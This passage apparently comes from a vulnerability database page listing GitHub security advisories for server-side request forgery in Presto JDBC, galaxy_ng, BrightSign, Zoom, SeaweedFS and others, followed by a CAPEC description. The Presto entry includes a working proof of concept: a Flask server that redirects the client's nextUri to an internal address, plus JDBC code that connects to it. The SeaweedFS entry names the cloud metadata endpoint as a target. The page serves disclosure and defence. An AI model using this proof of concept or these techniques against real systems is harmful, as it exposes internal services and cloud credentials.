style=\"zoom:50%;\" /\u003e\n\n### PoC\n\nRunning an HTTP service to route POST /v1/statement redirect to the intranet. For example, using these Python code:\n\n```python\nfrom flask import Flask, Response\n\napp = Flask(__name__)\n\n@app.route(\u0027/v1/statement\u0027, methods=[\u0027POST\u0027])\ndef next_uri_to_interal_server():\n    data = \u0027{\"id\":\"test_id\",\"infoUri\":\"whatever\",\"nextUri\":\"http://127.0.0.1:8888\",\"stats\":{\"state\":\"QUEUED\",\"queued\":true,\"scheduled\":false,\"nodes\":0,\"totalSplits\":0,\"queuedSplits\":0,\"runningSplits\":0,\"completedSplits\":0,\"cpuTimeMillis\":0,\"wallTimeMillis\":0,\"queuedTimeMillis\":0,\"elapsedTimeMillis\":0,\"processedRows\":0,\"processedBytes\":0,\"peakMemoryBytes\":0,\"peakTotalMemoryBytes\":0,\"peakTaskTotalMemoryBytes\":0,\"spilledBytes\":0},\"warnings\":[]}\u0027\n    return Response(data, content_type=\u0027application/json; charset=utf-8\u0027, status=200)\n\nif __name__ == \u0027__main__\u0027:\n    app.run(host=\"0.0.0.0\",port=8000)\n```\n\nConnecting to the malicious server using JDBC:\n\n```java\nString url = \"jdbc:presto://\u003cip\u003e:\u003cport\u003e\";\nProperties properties = new Properties();\nproperties.setProperty(\"user\", \"root\");\ntry {\n    Connection connection = DriverManager.getConnection(url, properties);\n    Statement stmt = connection.createStatement();\n    ResultSet res = stmt.executeQuery(\"show catalogs\");\n    while(res.next()) {\n        System.out.println(res.getString(1));\n    }\n} catch (Exception e) {\n    e.printStackTrace();\n}\n```\n\nPwned!\n\n### Impact\n\nWhen the target remote Presto server to be connected is controllable,  an attacker can view sensitive information from highly sensitive internal servers or perform a local port scan. \n\nVulnerability Discovery Credit: Jianyu Li @ WuHeng Lab of ByteDance",
  "id": "GHSA-86q5-qcjc-7pv4",
  "modified": "2023-10-03T21:54:06Z",
  "published": "2023-10-03T21:54:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/prestodb/presto/security/advisories/GHSA-86q5-qcjc-7pv4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/prestodb/presto"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Presto JDBC Server-Side Request Forgery by nextUri"
}

GHSA-86R5-W5C4-H244

Vulnerability from github – Published: 2026-08-25 15:33 – Updated: 2026-08-25 15:33
VLAI
Details

A server-side request forgery (SSRF) vulnerability was found in galaxy_ng, the Ansible Galaxy server plugin for Pulp. An authenticated user with namespace management permissions can set a namespace avatar URL to an arbitrary address, including internal networks, loopback, or cloud instance metadata endpoints. A background worker fetches that URL without checking the destination, which lets the attacker probe internal services and enumerate reachable IP addresses. The HTTP client is also configured without an overall timeout, so a slow or non-responsive target can pin workers and cause a denial of service.

Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-79717"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T15:16:45Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery (SSRF) vulnerability was found in galaxy_ng, the Ansible Galaxy server plugin for Pulp. An authenticated user with namespace management permissions can set a namespace avatar URL to an arbitrary address, including internal networks, loopback, or cloud instance metadata endpoints. A background worker fetches that URL without checking the destination, which lets the attacker probe internal services and enumerate reachable IP addresses. The HTTP client is also configured without an overall timeout, so a slow or non-responsive target can pin workers and cause a denial of service.",
  "id": "GHSA-86r5-w5c4-h244",
  "modified": "2026-08-25T15:33:00Z",
  "published": "2026-08-25T15:33:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-79717"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-79717"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2523431"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ansible/galaxy_ng"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-86RV-3V3V-XMW6

Vulnerability from github – Published: 2025-12-10 21:31 – Updated: 2025-12-10 21:31
VLAI
Details

BrightSign Digital Signage Diagnostic Web Server 8.2.26 and less contains an unauthenticated server-side request forgery vulnerability in the 'url' GET parameter of the Download Speed Test service. Attackers can specify external domains to bypass firewalls and perform network enumeration by forcing the application to make arbitrary HTTP requests to internal network hosts.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-36884"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-10T21:16:00Z",
    "severity": "MODERATE"
  },
  "details": "BrightSign Digital Signage Diagnostic Web Server 8.2.26 and less contains an unauthenticated server-side request forgery vulnerability in the \u0027url\u0027 GET parameter of the Download Speed Test service. Attackers can specify external domains to bypass firewalls and perform network enumeration by forcing the application to make arbitrary HTTP requests to internal network hosts.",
  "id": "GHSA-86rv-3v3v-xmw6",
  "modified": "2025-12-10T21:31:37Z",
  "published": "2025-12-10T21:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36884"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zeroscience"
    },
    {
      "type": "WEB",
      "url": "https://www.brightsign.biz"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/48843"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/brightsign-digital-signage-diagnostic-web-server-unauthenticated-ssrf"
    },
    {
      "type": "WEB",
      "url": "https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5595.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-8737-W627-MRV7

Vulnerability from github – Published: 2021-12-15 00:00 – Updated: 2022-04-13 00:01
VLAI
Details

The Zoom Client for Meetings before version 5.7.3 (for Android, iOS, Linux, macOS, and Windows) contain a server side request forgery vulnerability in the chat’s “link preview” functionality. In versions prior to 5.7.3, if a user were to enable the chat’s “link preview” feature, a malicious actor could trick the user into potentially sending arbitrary HTTP GET requests to URLs that the actor cannot reach directly.

Severity
6.1 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-34425"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-14T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "The Zoom Client for Meetings before version 5.7.3 (for Android, iOS, Linux, macOS, and Windows) contain a server side request forgery vulnerability in the chat\u2019s \u201clink preview\u201d functionality. In versions prior to 5.7.3, if a user were to enable the chat\u2019s \u201clink preview\u201d feature, a malicious actor could trick the user into potentially sending arbitrary HTTP GET requests to URLs that the actor cannot reach directly.",
  "id": "GHSA-8737-w627-mrv7",
  "modified": "2022-04-13T00:01:14Z",
  "published": "2021-12-15T00:00:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34425"
    },
    {
      "type": "WEB",
      "url": "https://explore.zoom.us/en/trust/security/security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-877V-M842-XQ9P

Vulnerability from github – Published: 2026-06-01 21:30 – Updated: 2026-06-01 21:30
VLAI
Details

A vulnerability was determined in SourceCodester SEO Meta Tag Extractor 1.0. This vulnerability affects the function get_headers of the file /index.php. This manipulation of the argument url causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.

Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
5.5 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-10287"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-01T21:16:25Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability was determined in SourceCodester SEO Meta Tag Extractor 1.0. This vulnerability affects the function get_headers of the file /index.php. This manipulation of the argument url causes server-side request forgery. It is possible to initiate the attack remotely. The exploit has been publicly disclosed and may be utilized.",
  "id": "GHSA-877v-m842-xq9p",
  "modified": "2026-06-01T21:30:44Z",
  "published": "2026-06-01T21:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10287"
    },
    {
      "type": "WEB",
      "url": "https://hackmd.io/@Kq4PsjnpQ5WfoMt8ho48LA/By9GXDkyGe"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/cve/CVE-2026-10287"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/submit/825641"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367580"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/vuln/367580/cti"
    },
    {
      "type": "WEB",
      "url": "https://www.sourcecodester.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-878H-X39V-9RFH

Vulnerability from github – Published: 2026-04-08 09:31 – Updated: 2026-04-13 21:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in sonaar MP3 Audio Player for Music, Radio & Podcast by Sonaar mp3-music-player-by-sonaar allows Server Side Request Forgery.This issue affects MP3 Audio Player for Music, Radio & Podcast by Sonaar: from n/a through <= 5.11.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-39647"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-08T09:16:35Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in sonaar MP3 Audio Player for Music, Radio \u0026 Podcast by Sonaar mp3-music-player-by-sonaar allows Server Side Request Forgery.This issue affects MP3 Audio Player for Music, Radio \u0026 Podcast by Sonaar: from n/a through \u003c= 5.11.",
  "id": "GHSA-878h-x39v-9rfh",
  "modified": "2026-04-13T21:30:35Z",
  "published": "2026-04-08T09:31:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39647"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Plugin/mp3-music-player-by-sonaar/vulnerability/wordpress-mp3-audio-player-for-music-radio-podcast-by-sonaar-plugin-5-11-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-87FV-VQQR-M4JR

Vulnerability from github – Published: 2026-08-11 15:58 – Updated: 2026-08-11 15:58
VLAI
Summary
SeaweedFS: Unauthenticated SSRF with response read-back via VolumeServer.FetchAndWriteNeedle
Details

Impact

VolumeServer.FetchAndWriteNeedle fetches a caller-supplied remote endpoint and writes the response into a needle. Before 4.24 this RPC performed no authentication and no validation of the target, so anyone able to reach a volume server's gRPC port could coerce the server into issuing requests to arbitrary hosts — including loopback, link-local, RFC 1918, and cloud metadata endpoints such as 169.254.169.254 — and read the response back. On cloud deployments this discloses instance metadata and IAM credentials, and can be used to reach otherwise-unexposed internal services (SSRF with response read-back).

The volume server gRPC plane is unauthenticated on a default deployment, so no credentials are required. Configuring the documented JWT signing keys does not close it, because that hardening does not apply to this RPC.

Affected component

  • weed/server/volume_grpc_remote.go (FetchAndWriteNeedle)
  • weed/remote_storage/s3/s3_storage_client.go

Patches

Fixed in 4.24. FetchAndWriteNeedle now requires admin authorization and refuses loopback / link-local / RFC 1918 / IMDS destinations through a guarded dialer that resolves the host itself and pins the resolved address for the duration of the request, defeating DNS-rebinding. The Rust volume server carries the equivalent endpoint validation.

Workarounds

Restrict volume server gRPC ports to trusted hosts via firewall / network policy, and enable mTLS via security.toml.

Severity
9.3 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/seaweedfs/seaweedfs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260512171120-69da20bdaec9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73080"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-11T15:58:23Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Impact\n`VolumeServer.FetchAndWriteNeedle` fetches a caller-supplied remote endpoint and writes the response into a needle. Before 4.24 this RPC performed no authentication and no validation of the target, so anyone able to reach a volume server\u0027s gRPC port could coerce the server into issuing requests to arbitrary hosts \u2014 including loopback, link-local, RFC 1918, and cloud metadata endpoints such as `169.254.169.254` \u2014 and read the response back. On cloud deployments this discloses instance metadata and IAM credentials, and can be used to reach otherwise-unexposed internal services (SSRF with response read-back).\n\nThe volume server gRPC plane is unauthenticated on a default deployment, so no credentials are required. Configuring the documented JWT signing keys does not close it, because that hardening does not apply to this RPC.\n\n### Affected component\n- `weed/server/volume_grpc_remote.go` (`FetchAndWriteNeedle`)\n- `weed/remote_storage/s3/s3_storage_client.go`\n\n### Patches\nFixed in **4.24**. `FetchAndWriteNeedle` now requires admin authorization and refuses loopback / link-local / RFC 1918 / IMDS destinations through a guarded dialer that resolves the host itself and pins the resolved address for the duration of the request, defeating DNS-rebinding. The Rust volume server carries the equivalent endpoint validation.\n\n### Workarounds\nRestrict volume server gRPC ports to trusted hosts via firewall / network policy, and enable mTLS via `security.toml`.",
  "id": "GHSA-87fv-vqqr-m4jr",
  "modified": "2026-08-11T15:58:23Z",
  "published": "2026-08-11T15:58:23Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-87fv-vqqr-m4jr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seaweedfs/seaweedfs/pull/9441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seaweedfs/seaweedfs/commit/69da20bdaec923e5a43d8aa71bf3c0a2051fc019"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/seaweedfs/seaweedfs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/seaweedfs/seaweedfs/releases/tag/4.24"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SeaweedFS: Unauthenticated SSRF with response read-back via VolumeServer.FetchAndWriteNeedle"
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list